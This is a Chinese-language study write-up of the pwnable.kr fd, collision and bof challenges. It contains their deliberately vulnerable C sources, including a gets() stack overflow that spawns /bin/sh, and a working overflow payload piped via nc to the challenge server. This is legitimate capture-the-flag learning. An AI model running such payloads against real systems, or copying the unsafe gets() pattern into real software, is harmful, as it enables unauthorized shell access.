pwnable学习笔记 第一更

pwnable学习笔记 第一更

  这个学习pwn基础的练习网站是在我组长分享给我们的,感觉开始应该还是比较简单的,因此想写点自己学习过程中的一些经验和问题,以供以后回顾,深入学习

0x00 fd(Linux文件标识符)

  个人感觉第一题还是比较简单的,主要考察的就是fd这个Linux文件标识符以及read()和atoi()这两个函数。fd是Linux的文件标识符,fd=0是为标准输入,fd=1时为标准输出,fd=2时标准输出错误;read()函数就是简单的赋值传送函数,将第一个参数fd所指的文件传送nbyte到buf指针所指的内存中(该函数的一般形态是:read(fd,buf,n));atoi (表示 alphanumeric to integer)是把字符串转换成整型数的一个函数。

下面就是实际的操作:

 先是ls出所有文件,在cat出fd.c中如下的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[])
{
if(argc&lt2)
{
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf))
{
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}

  经过一番分析,也就是将数组argv的数减去0x1234剩下的与原有的字符串对比,相同则获得bin权限,否则不能获得权限,那就先加上0x1234对应的十进制的4660,然后在输入相应的字符串即可,操作如下即可。

0x01 collision(碰撞)

  第二题其实跟第一题差不多的感觉。从题目的如下代码可见,需要输入20个字符,被分为五段,每段当成int型处理,对其进行相加与0x21DD09EC对比,相同则获得bin权限,否则失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p)
{
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i&lt;5; i++)
{
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc&lt;2)
{
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20)
{
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] ))
{
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

那么我们就可使用python脚本对其操作,具体的操作如下:

0x02 bof

  这是第三题,终于感觉跟之前学的那些缓冲区溢出还有米神的一步一步学rop有点瓜葛了。这里给出了程序及其源码,分析源码可以知道是gets()函数出了问题,可以进行利用其进行溢出修改key来拿到bin权限;

  具体的分析就是这个函数中先是调用一个gets()函数,然后是再验证key的值是否是0xcafebabe来判断是否能让我们获取其中的的bin权限,但是下面的main函数已经定义了可以是0xdeadbeef,因此我们就需要溢出 overflowme这个数组来修改可以的值借以达到通过验证获取bin权限的目的,这样的话,获取数组和key在内存中所占空间大小就成了关键之处,而数组则是通过gets()函数来进入程序的,而且这里只有gets()函数和printf()函数可以缓冲区溢出,printf不可能,剩下的之有它了,这里我们可以使用ida帮助我们分析;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key)
{
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe)
{
system("/bin/sh");
}
else
{
printf("Nah..\n");
}
}
int main(int argc, char* argv[])
{
func(0xdeadbeef);
return 0;
}

  先使用ida查看一下,发现main函数有可疑之处;

  进去一瞅,发现gets()函数的参数s也就是数组的起始地址之ebp-2ch,而a1也就是key是ebp+8h,这样一算,需要输入0x2c+0x8=52个字符才能造成溢出,修改key值,进而获得bin权限;

再进行python脚本的构造就行了(很尴尬,脚本是抄的但是我也去查了其中一些命令的含义),构造出的python命令是:
(python -c ‘print(“a”*52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))’; cat) | nc pwnable.kr 9000
其中几个chr()的内容可以使用”/xbe/xba/xfe/xca”表示,nc是链接远端的命令,这里需要注意的是使用的cat的目的是显示出flag,缺少是不行的;